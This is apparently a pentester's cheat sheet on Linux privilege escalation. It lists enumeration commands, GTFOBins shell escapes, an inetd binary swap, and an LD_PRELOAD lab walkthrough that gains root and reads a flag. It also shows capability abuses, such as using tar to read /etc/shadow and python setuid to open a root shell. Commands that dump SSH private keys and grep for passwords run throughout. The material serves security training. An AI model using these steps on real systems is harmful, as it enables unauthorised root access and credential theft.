Linux

Manual privilege escalation techniques to look for

Information gathering

The first step when landing on host should be understanding who your against to - what OS, what process are running, what users exists and more, this can be done by looking at the following files (remember - in Linux everything is a file):

Distribution type:

cat /etc/*-release

Kernel version:

cat /proc/version uname -a

view if you can run anything as sudo: (check for GTFObins)

Sudo -l

Check common files:

cat /etc/profile 
cat /etc/bashrc 
cat ~/.bash_history 
cat ~/.bashrc 
cat ~/.bash_logout

What services running (filter by root):

ps aux

ps -efww - in full screen

ps -ef

top

Check configuration files:

cat /etc/syslog.conf 
cat /etc/chttp.conf 
cat /etc/lighttpd.conf 
cat /etc/cups/cupsd.conf 
cat /etc/inetd.conf 
cat /etc/apache2/apache2.conf 
cat /etc/my.conf 
cat /etc/httpd/conf/httpd.conf 
cat /opt/lampp/etc/httpd.conf

Check local ports and what listens:

netstat -antup

View list of users:

cat /etc/passwd | cut -d: -f1

Search for ssh keys:

cat ~/.ssh/authorized_keys 
cat ~/.ssh/identity.pub 
cat ~/.ssh/identity 
cat ~/.ssh/id_rsa.pub 
cat ~/.ssh/id_rsa 
cat ~/.ssh/id_dsa.pub 
cat ~/.ssh/id_dsa 
cat /etc/ssh/ssh_config 
cat /etc/ssh/sshd_config 
cat /etc/ssh/ssh_host_dsa_key.pub 
cat /etc/ssh/ssh_host_dsa_key 
cat /etc/ssh/ssh_host_rsa_key.pub 
cat /etc/ssh/ssh_host_rsa_key 
cat /etc/ssh/ssh_host_key.pub 
cat /etc/ssh/ssh_host_key

View crontabs

crontab -e root 
crontab -l 
ls -alh /var/spool/cron 
ls -al /etc/ | grep cron 
ls -al /etc/cron* 
cat /etc/cron* 
cat /etc/at.allow 
cat /etc/at.deny 
cat /etc/cron.allow 
cat /etc/cron.deny 
cat /etc/crontab 
cat /etc/anacrontab 
cat /var/spool/cron/crontabs/root

Web servers files

ls -alhR /var/www/ 
ls -alhR /srv/www/htdocs/ 
ls -alhR /usr/local/www/apache22/data/ 
ls -alhR /opt/lampp/htdocs/ 
ls -alhR /var/www/html/

Useful Find Comands

Find Binaries that will execute as the owner (SUID):

find / -perm -u=s -type f 2>/dev/null

Find binaries that will execute as the group (GUID):

find / -perm -g=s -type f 2>/dev/null

Find sticky-bit binaries:

find / -perm -1000 -type d 2>/dev/null

Find files which were created in the last 5 minutes:

find . -mtime -5 -type f -print 2>/dev/null

Find certain files:

find / -name foo.txt -type f

Wildcard search:

find . -name "*.txt"

Find and ls:

find . -type f -name "Foo*" -exec ls -l

Find world writable folders:

find / -writable -type d 2>/dev/null # world-writeable folders

find / -perm -222 -type d 2>/dev/null # world-writeable folders

find / -perm -o w -type d 2>/dev/null # world-writeable folders

find / -perm -o x -type d 2>/dev/null # world-executable folders

find / $ -perm -o w -perm -o x $ -type d 2>/dev/null # world-writeable & executable folders

Files containing passwords:

grep --color=auto -rnw '/' -ie "PASSWORD" --color=always 2> /dev/null find . -type f -exec grep -i -I "PASSWORD" {} /dev/null \;

Sudo misconfiguration

A common privilege escalation technique, find misconfigred sudo instance where you can run a software with root privileges (or any other users).

A list of softwares and how to esclate privileges can be found here:

https://gtfobins.github.io/

GTFOBins is a curated list of Unix binaries that can be exploited by an attacker to bypass local security restrictions.

Example:

Nmap 
nmap --interactive 
nmap> !sh 

Vim #1 
vim -c ':!/bin/sh' 

Vim #2 
:set shell=/bin/sh 
:shell 

Perl 
exec "/bin/sh"; 
perl -e 'exec "/bin/sh";' 

Ruby 
Ruby -e 'exec "/bin/sh"' 

ftp 
 ftp > !/bin/sh or !/bin/bash 
 
gdb 
 gdb > !/bin/sh or !/bin/bash 

Awk 
awk 'BEGIN {system("/bin/bash")}' 

Python 
python -c 'import os; os.system("/bin/sh")'

A offline version of GTFOBins:

https://github.com/nccgroup/GTFOBLookup

Example:

root@DESKTOP99:/opt/GTFOBLookup# python3 gtfoblookup.py linux shell nmap 
nmap: 
    shell: 
gtfoblookup.py:335: YAMLLoadWarning: calling yaml.load_all() without Loader=... is deprecated, as the default Loader is unsafe. Please read https://msg.pyyaml.org/load for full details. 
  for data in md: 
        Description: Input echo is disabled. 
        Code: TF=$(mktemp) 
              echo 'os.execute("/bin/sh")' > $TF 
              nmap --script=$TF 
        Description: The interactive mode, available on versions 2.02 to 
                     5.21, can be used to execute shell commands. 
        Code: nmap --interactive 
              nmap> !sh

inetd

cat /etc/inetd.conf Look for write permissions on any of the executables listed in this config file. If you have write permissions replace the executable i.e. cp /bin/bash /usr/sbin/in.rshd

inetd will now serve the /bin/bash shell running with root privileges when we connect to the rshd default port 514:

telnet remote_ip_address 514

From <https://www.engetsu-consulting.com/tag/Linux-Privilege-Escalation>

Dynamically Linked Shared Object Library

Find SUID or GUID

find / -perm -g=s -o -perm -u=s -type f 2>/dev/null

Find a executable which looks suspicious and shouldn't be there:

james@attackdefense:~$ find / -perm -u=s -type f 2>/dev/null 
/bin/umount 
/bin/mount 
/bin/su 
/usr/bin/passwd 
/usr/bin/chfn 
/usr/bin/gpasswd 
/usr/bin/newgrp 
/usr/bin/chsh 
/usr/local/bin/welcome <---- hmmm

Trying to run the file:

james@attackdefense:~/.lib$ /usr/local/bin/welcome/usr/local/bin/welcome: symbol lookup error: /usr/local/bin/welcome: undefined symbol: greetings

Check what shared libraries are used:

james@attackdefense:~$ ldd /usr/local/bin/welcome 
        linux-vdso.so.1 (0x00007ffda84ad000) 
        libgreetings.so => not found 
        libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007ff13ab2b000) 
        /lib64/ld-linux-x86-64.so.2 (0x00007ff13b11e000)

We will use LD_PRELOAD - LD_PRELOAD is an optional environmental variable containing one or more paths to shared libraries, or shared objects, that the loader will load before any other shared library including the C runtime library (libc.so) This is called preloading a library.

First we will need to create a malicious file instead of the missing library

use the SUID Shell code and compile the code

james@attackdefense:~/.lib$ gcc -o libgreetings.so lib.c -shared

the '-shared' is to compile it as a shared library file (.so)

Load the file with the new library:

james@attackdefense:~/.lib$ LD_PRELOAD=/home/james/.lib/libgreetings.so /usr/local/bin/welcome

Run it:

lib.c:6:2: warning: implicit declaration of function 'setresuid'; did you mean 'setreuid'? [-Wimplicit-function-declaration] 
  setresuid(0, 0, 0); 
  ^~~~~~~~~ 
  setreuid 
lib.c:7:2: warning: implicit declaration of function 'system' [-Wimplicit-function-declaration] 
  system("/bin/bash"); 
  ^~~~~~ 
james@attackdefense:~/.lib$ ls -l 
total 12 
-rw-r--r-- 1 james james  130 Oct 30 14:51 lib.c 
-rwxr-xr-x 1 james james 7960 Oct 30 14:54 libgreetings.so 
james@attackdefense:~/.lib$ /usr/local/bin/welcome
Enter your name 
id 
root@attackdefense:~/.lib# ls 
lib.c  libgreetings.so 
root@attackdefense:~/.lib# cd /home/root 
bash: cd: /home/root: No such file or directory 
root@attackdefense:~/.lib# cd /root/ 
root@attackdefense:/root# ls 
flag 
root@attackdefense:/root# cat flag 
521d81adc77627782df4bc545ec604de 
root@attackdefense:/root#

Abuse Capabilities utility

Capabilities are a little obscure but similar in principle to SUID. Linux’s thread/process privilege checking is based on capabilities: flags to the thread that indicate what kind of additional privileges they’re allowed to use. By default, root has all of them.

Capabilities are useful when you want to restrict your own processes after performing privileged operations (e.g. after setting up chroot and binding to a socket). However, they can be exploited by passing them malicious commands or arguments which are then run as root.

*Used with GTFOBins

Find out what capabilities are Enabled

[user@box ~]$ getcap -r / 2>/dev/null

You will get output like the following…

/usr/bin/ping = cap_net_admin,cap_net_raw+p 
/usr/sbin/mtr = cap_net_raw+ep 
/usr/sbin/suexec = cap_setgid,cap_setuid+ep 
/usr/sbin/arping = cap_net_raw+p 
/usr/sbin/clockdiff = cap_net_raw+p 
/usr/sbin/tcpdump = cap_net_admin,cap_net_raw+ep 
/home/user/tcpdump = cap_net_admin,cap_net_raw+ep 
/home/user/openssl =ep

CAP_DAC_READ_SEARCH

For example if we found

/home/nxnjz/tar = cap_dac_read_search+ep

tar has cap_dac_read_search capabilities. This means it has read access to anything. We could use this to read SSH keys, or /etc/shadow and get password hashes.

nxnjz@test-machine:~$ cat /etc/shadow 
cat: /etc/shadow: Permission denied

But since tar has that capability, we can archive /etc/shadow, extract it from the archive and read it.

nxnjz@test-machine:~$ ls 
tar 
nxnjz@test-machine:~$ ./tar -cvf shadow.tar /etc/shadow 
./tar: Removing leading `/’ from member names 
/etc/shadow 
nxnjz@test-machine:~$ ls 
shadow.tar tar 
nxnjz@test-machine:~$ ./tar -xvf shadow.tar 
etc/shadow 
nxnjz@test-machine:~$ ls 
etc shadow.tar tar 
nxnjz@test-machine:~$ cat etc/shadow 
root:$1$xyz$Bf.3hZ4SmETM3A78n1nWr.:17735:0:99999:7:::

CAP_setuid

/usr/bin/setcap -r /bin/ping            # remove 
/usr/bin/setcap cap_net_raw+p /bin/ping # add 
$ sudo /usr/bin/setcap cap_setuid+ep /usr/bin/python2.7 
$ python2.7 -c 'import os; os.setuid(0); os.system("/bin/sh")' 
sh-5.0# id 
uid=0(root) gid=1000(swissky)

CAP_NET_RAW

Can capture data as root

Tcpdump -ni {Interface}

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Last updated 5 years ago

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